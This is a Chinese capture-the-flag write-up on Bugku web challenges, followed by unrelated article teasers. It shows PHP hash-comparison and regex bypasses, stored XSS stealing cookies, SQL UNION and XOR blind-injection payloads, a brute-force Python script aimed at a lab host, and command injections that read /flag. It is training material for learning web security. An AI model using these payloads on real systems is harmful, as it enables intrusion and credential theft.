bugku3

前女友 md5

进去又是讴歌乱进的东西

源代码

看到code.txt,访问一下

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

做过好多次了,可以用PHP处理0e开头md5时hash字符串漏洞来绕过

https://www.cnblogs.com/0yst3r-2046/p/10748412.html

 或者利用数组

在PHP中

MD5是不能处理数组的,md5(数组)会返回null

所以即

md5(a[])==null,md5(b[])==null,md5(a[])=md5(b[])=null也可以满足代码中的条件

/?v1[]=1&v2[]=2&v3[]=3;

需要管理员 

进去是404

用dirsearch扫一下

发现robots.txt

看到/resusl.php 

发现需要get传参x为密码

随便尝试一下admin居然成功了

No one knows regex better than me  正则

 <?php 
error_reporting(0);
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){
    $key=$second;
    if(preg_match("/\.\.|flag/",$key)){
        die("Noooood hacker!");
    }else{
        $third=$first;
        if(preg_match("/\\|\056\160\150\x70/i",$third)){
            $end=substr($third,5);
            highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
        }
    }
}
else{
    highlight_file(__FILE__);
} 

    preg_match_all(匹配的正则表达式,需要匹配的字符串):=>运用正则表达式匹配规则的全部内容,返回匹配的次数.

$second='Hbwqqqqq';
$a= preg_match_all("/q/i",$second); //返回值是5

    preg_match()同上,只是匹配一次就停止,成功返回1,否则返回0

    substr()字符串的截取函数 共有三个参数 .
        第一个需要截取的字符串
        第二个从第几个开始截取
        第三个截取字符串的长度

$second='Hbwq123';
$c= substr($second,4,2);
print($c);//输出12

审计

传入的两个参数只要有这其中的字符就行了(一个就行)

if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second))

不能有.或者flag

if(preg_match("/\.\.|flag/",$key))

\056\160\150\x70=>.php        为16进制和8进制ascii代码,php可自动识别
这里匹配过程是这样的 \| => | => |
最终为|.php 

if(preg_match("/\\|\056\160\150\x70/i",$third))

$third=$first 仅需构造xxxxx.php型的字符串即可,但是第三次匹配字符为|.php,应当为

xxxx|.php
//xxxx可为oror aaaa 等等 

$zero为base64(‘flag’)即可

ZmxhZw==

/?first=aaaa|.php&zero=ZmxhZw==

各种绕过哟 数组

 <?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else

        print 'sorry!';

}
?> 

 只要使uname的sha1的值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等

get:

/?uname[]=1&id=margin

post:

passwd[]=1;

好像需要密码 bp爆破

根据提示,我们先抓包

 爆破

得到密码12468

 得到flag

留言板 存储型xss

进去是这样的

也不知道干嘛

先用dirsearch扫描一下

访问一下看看

这里登录我用弱口令都尝试了一下但是没有成功

用bp也没爆破出来。。

看别人wp说有db.sql文件

# Host: localhost  (Version: 5.5.53)
# Date: 2019-08-04 16:13:22
# Generator: MySQL-Front 5.3  (Build 4.234)
 
/*!40101 SET NAMES utf8 */;
 
#
# Structure for table "text"
#
 
CREATE DATABASE xss DEFAULT CHARACTER SET utf8;
use xss; 
 
DROP TABLE IF EXISTS `text`;
CREATE TABLE `text` (
  `Id` int(11) NOT NULL AUTO_INCREMENT,
  `text` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
 
#
# Data for table "text"
#
 
/*!40000 ALTER TABLE `text` DISABLE KEYS */;
/*!40000 ALTER TABLE `text` ENABLE KEYS */;
 
#
# Structure for table "user"
#
 
DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
  `Id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) DEFAULT NULL,
  `password` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
 
#
# Data for table "user"
#
 
/*!40000 ALTER TABLE `user` DISABLE KEYS */;
INSERT INTO `user` VALUES (1,'admin','011be4d65feac1a8');
/*!40000 ALTER TABLE `user` ENABLE KEYS */;

INSERT INTO `user` VALUES (1,'admin','011be4d65feac1a8'); 

可以得到账号密码

登陆成功

我们可以发现如果在留言板写入

<script>alert(1)</script>

发现可以被执行

那么我们写入,构造一个获取cookie的js代码

<script>alert(document.cookie)</script>

访问管理员界面 

file_get_contents

 <?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

empty() 函数用于检查一个变量是否为空。empty() 判断一个变量是否被认为是空的。当一个变量并不存在,或者它的值等同于 FALSE,那么它会被认为不存在。如果变量不存在的话,empty()并不会产生警告。

extract()函数从数组里将变量导入到当前的符号表。extract函数:可以进行变量覆盖。
语法:extract(array,extract_rules,prefix)
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组里的各元素,将在当前符号表里创建对应的一个变量。第二个参数 type 用于指定当某个变量已经存在,而数组里又有同名元素时,extract() 函数如何对待这样的突。该函数返回成功导入到符号表里的变量数目。

file_get_contents()把整个文件读入一个字符串里。
语法:file_get_contents(path,include_path,context,start,max_length)
该函数是用于把文件的内容读入到一个字符串里的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

trim()函数移除字符串两侧的空白字符或其他预定义字符。
语法trim(string,charlist)
经过分析,该段代码是将通过GET方法传入的参数赋值给其内某个变量,传入的参数如果和$fn文件里的字符一致时,便可以得到flag

就是要上传 ac和fn两个参数

且ac的值等于fn文件内容的值

这时候就可以用到php伪协议的php://input

他的作用是可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

顺便记一下这个伪协议需要allow_url_include为on

 用hackbar一直没成功就用了bp

因为我们访问一下flag.txt可以看到

所以我们让ac=bugku也是一样的道理

这里有两种方式 其实原理一样

login2 sql

进去是这样的登录框

抓包先看看

解密

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

 想要登录成功,可以 通过输入不存在用户,用union select 构造出指定密码的md5值。

username=admin' union select 1,md5(123)#&password=123

发现登录成功

    payload:123 | cat /flag >1.php
    查看 flag文件并输出到1.php里边
    1.php可以在网站子目录查看内容拿到flag

 点login咋没反应 cookie

进去是这样的登录界面

抓包了 但是一点反应都没有 登陆信息也没有

那查看一下源代码

这里看到admin.css

有点奇怪第一行

访问一下看看

当传入的参数是空的,cookie的值反序列化后等于key,则显示flag 

===:三个等号我们称为等同符,当等号两边的值为相同类型的时候,直接比较等号两边的值,值相同则返回true,若等号两边的值类型不同时直接返回false。

要上传cookie 直接用bp

BUGKU=s:13:"ctf.bugku.com";

都过滤了 sql 命令执行

进去是这样的登录

放到bp

fuzz一下

经测试逗号被过滤了,但异或符号 ^ 还可以使用,当uname输入非admin时,返回值都为username error,当uname输入admin时,返回值为password error

说明用户名为amdin,接下来开始利用异或注入

  • 判断密码长度:uname=admin'^(length(passwd)=32)^'

    最后的 ‘ 用来闭合原本的右括号,这个结果返回empty,因此页面显示username error;分析返回结果时需要注意sql运算符的优先级, ^ > = ,所以先进行异或运算,最后进行比较运算,且字符串与数字做异或运算时,会先进行类型转换,如’admin’^1相当于0^1;此题中,’admin’相当于0,(length(passwd)=32)相当于1,’’相当于0,所以0^1^0为1,最后进行uname的比较运算,即在数据库中匹配uname=1的数据,而数据库中的uname为’admin’,在进行’admin’=1比较时,’admin’先转换成整型0,0=1为false,所以返回empty。

    同理,当payload中密码长度修改为31时,异或运算相当于0^0^0,结果为0,在做比较运算时,uname=0,而’admin’转化为0,0=0为true,则查询成功,uname绕过了,因此页面显示passwd error;故可以通过这一点判断密码长度为32;猜测密码为md5密文;

判断密码每一位字符:uname=admin'^(ascii(substr((passwd)from(1))=52)^'

用于判读密码第一位的字符(注意mysql和php不同,substr的第一位不是从0开始,而是1);substr((passwd)from(1))利用了括号绕过逗号,相当于substr(passwd,1)。和判断密码长度的原理相同,当密码第一位判断正确时,返回username error,错误时返回passwd error,根据返回结果的不同爆破出32位密码,脚本如下: 

import requests
url='http://114.67.175.224:10288/login.php'
mima=''
r=requests.session()
for i in range(1,33):
  for j in range(48,123):
    data={
      'uname':f"admin'^(ascii(substr((passwd)from({i})))={j})^'",
      'passwd':'123'
    }
    resp=r.post(url,data=data).text
    if 'username' in resp:
      print(f"第{i}个:{chr(j)}")
      mima+=chr(j)
print(mima)

得到32位密文后,放入somd5解密得到密码bugkuctf,利用账号admin和密码bugku登录后,进入新的页面

有系统命令执行功能,但过滤部分字符串,获得flag的payload有很多,下面列举几个并作说明: 

cat<>/flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/402021.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

OpenWRT部署web站点并结合内网穿透实现无公网ip远程访问

文章目录 前言1. 检查uhttpd安装2. 部署web站点3. 安装cpolar内网穿透4. 配置远程访问地址5. 配置固定远程地址 前言 uhttpd 是 OpenWrt/LuCI 开发者从零开始编写的 Web 服务器&#xff0c;目的是成为优秀稳定的、适合嵌入式设备的轻量级任务的 HTTP 服务器&#xff0c;并且和…

Promise中的链式流

如果阅读有疑问的话&#xff0c;欢迎评论或私信&#xff01;&#xff01; 本人会很热心的阐述自己的想法&#xff01;谢谢&#xff01;&#xff01;&#xff01; 携手共进&#xff01; 文章目录 前言深入Promise链式流 前言 在探索Promise链式流之前我们要知道两个Promise固有…

c++类和对象新手保姆级上手教学(下)

目录 前言&#xff1a; 初始化列表&#xff1a; explicit关键字&#xff1a; static成员&#xff1a; 友元函数&#xff1a; 友元类&#xff1a; 内部类&#xff1a; 匿名对象&#xff1a; 前言&#xff1a; 类和对象下篇中剩余的部分较为简单易理解&#xff0c;认真记住…

程序员接私活还不知道这几个平台?那你亏到老家了!

程序员接私活现在已经是一个老生常谈的话题了&#xff0c;现在市面上各种程序员接单平台层出不穷&#xff0c;也参差不齐&#xff0c;有比较老牌的知名平台&#xff0c;也有比较好的新兴平台&#xff0c;如此多的平台就容易让人眼花缭乱&#xff0c;不知道该如何选择。 这期文…

day04_流程语句_if_while_for

今日内容 1.if 2.switch 3.while,do-while,for 零、复习 1算术运算符中除法特性 整数相除不保留小数 10/33 2什么作用,i和i什么区别 让数据自增1i,是在后先使用后自增i,是在前先自增后使用 3&& 和 & 有相同点和不同点 相同点: 两边判断式子,一错就错全对才对不同点…

Docker Desktop 4.27.1 Windows 10 安装 教程

Docker Desktop 4.27.1 Windows 10 安装 版本要求windows 版本要求wsl 版本要求docker desktop 版本 安装首先确保系统版本符合要求前提下安装wsl安装 Dockers Desktop安装说明 安装问题docker Desktop 无法正常启动&#xff0c;提示wsl 相关信息wsl --install 执行输出帮助日志…

[Flink01] 了解Flink

Flink入门系列文章主要是为了给想学习Flink的你建立一个大体上的框架&#xff0c;助力快速上手Flink。学习Flink最有效的方式是先入门了解框架和概念&#xff0c;然后边写代码边实践&#xff0c;然后再把官网看一遍。 Flink入门分为四篇&#xff0c;第一篇是《了解Flink》&…

如何在OpenWRT安装内网穿透工具实现远程访问本地搭建的web网站界面

文章目录 前言1. 检查uhttpd安装2. 部署web站点3. 安装cpolar内网穿透4. 配置远程访问地址5. 配置固定远程地址 前言 uhttpd 是 OpenWrt/LuCI 开发者从零开始编写的 Web 服务器&#xff0c;目的是成为优秀稳定的、适合嵌入式设备的轻量级任务的 HTTP 服务器&#xff0c;并且和…

2024 全国水科技大会暨第二届智慧水环境管理与技术创新论坛

论坛二&#xff1a;第二届智慧水环境管理与技术创新论坛 召集人&#xff1a;刘炳义 武汉大学智慧水业研究所所长、教授 为贯彻落实中共中央国务院印发《数字中国建设整体布局规划》和国务院关于印发《“十四五”数字经济发展规划》的通知&#xff0c;推动生态环境智慧治理&…

stm32和嵌入式linux可以同步学习吗?

在开始前我有一些资料&#xff0c;是我根据网友给的问题精心整理了一份「stm3的资料从专业入门到高级教程」&#xff0c; 点个关注在评论区回复“888”之后私信回复“888”&#xff0c;全部无偿共享给大家&#xff01;&#xff01;&#xff01;如果需要使用STM32&#xff0c;建…

源码剖析Spring依赖注入:今天你还不会,你就输了

在之前的讲解中&#xff0c;我乐意将源码拿出来并粘贴在文章中&#xff0c;让大家看一下。然而&#xff0c;我最近意识到这样做不仅会占用很多篇幅&#xff0c;而且实际作用很小&#xff0c;因为大部分人不会花太多时间去阅读源码。 因此&#xff0c;从今天开始&#xff0c;我将…

【Vue3】toRefs和toRef在reactive中的一些应用

&#x1f497;&#x1f497;&#x1f497;欢迎来到我的博客&#xff0c;你将找到有关如何使用技术解决问题的文章&#xff0c;也会找到某个技术的学习路线。无论你是何种职业&#xff0c;我都希望我的博客对你有所帮助。最后不要忘记订阅我的博客以获取最新文章&#xff0c;也欢…

sql server想要小数点后向下取整怎么搞

select FORMAT(3.169, N2) as 四舍五入1, CAST(3.169 AS decimal(9,2)) as 四舍五入2, ROUND(3.169, 2) as 四舍五入3, CAST(FLOOR(3.169 * 100) / 100 AS decimal(9,2)) as 向下取整1, FLOOR(3.169 * 100) / 100 as 向下取整2, ceiling(3.169 * 100) / 100 as 向上取整—…

如何使用 GitHub Action 在 Android 中构建 CI-CD

如何使用 GitHub Action 在 Android 中构建 CI-CD 一、什么是 CI/CD&#xff1f;二、什么是 CI&#xff1a;持续集成&#xff1f;三、什么是CD&#xff1a;持续部署&#xff1f;3.1 持续交付3.2 持续部署 四、使用 GitHub 操作在 Android 中构建 CI-CD 管道4.1 步骤 五、什么是…

K210基础实验——点亮LED灯

一、目的是点亮K210开发板左下角的LED0和LED1&#xff0c;LED0是红灯&#xff0c;LED1是绿灯&#xff0c;两颗LED灯都是低电平点亮&#xff0c;高电平熄灭。 二、这是原理图上的硬件连接&#xff0c;LED0连接的是IO0&#xff0c;LED1连接的是IO17。 三、在src目录下新建文件夹 …

P2670 [NOIP2015 普及组] 扫雷游戏 ---- 洛谷

题目描述 扫雷游戏是一款十分经典的单机小游戏。在 n 行 m 列的雷区中有一些格子含有地雷&#xff08;称之为地雷格&#xff09;&#xff0c;其他格子不含地雷&#xff08;称之为非地雷格&#xff09;。玩家翻开一个非地雷格时&#xff0c;该格将会出现一个数字——提示周围格子…

《游戏引擎架构》--学习3

内存管理 优化动态内存分配 维持最低限度的堆分配&#xff0c;并且永不在紧凑循环中使用堆分配 容器 迭代器 Unicode

uni-app搭建h5项目

一、 打开官方网站 https://uniapp.dcloud.net.cn/quickstart-cli.html 二、找到使用vue-cli命令行&#xff0c;按照文档上的步骤进行搭建 全局安装 vue-cli npm install -g vue/cli搭建项目 可以根据命令行搭建&#xff0c;搭建vue2.0对应的是webpack&#xff0c; 也可以搭…

vulnhub靶场---->DOUBLETROUBLE: 1

详细思路 知识点1.网段探测2.nmap扫描3.目录扫描4.隐写5.上传木马文件6.awk提权 知识点 图片隐写----->steghide 密码爆破----->stegseek awk提权------>sudo awk BEGIN {system("/bin/bash")}1.网段探测 kali:192.168.0.131 靶机&#xff1a;192.168.0.1…

微信小程序-消息订阅整体流程

1.首先登录微信公众平台&#xff0c;网址&#xff1a;微信公众平台 2.找到“订阅消息”&#xff0c;如果订阅消息没开启&#xff0c;可以点击开启&#xff0c;然后根据自己的消息需求到公共模版里找合适的&#xff0c;然后点击选用&#xff0c;如果没有比较合适的可以申请模版…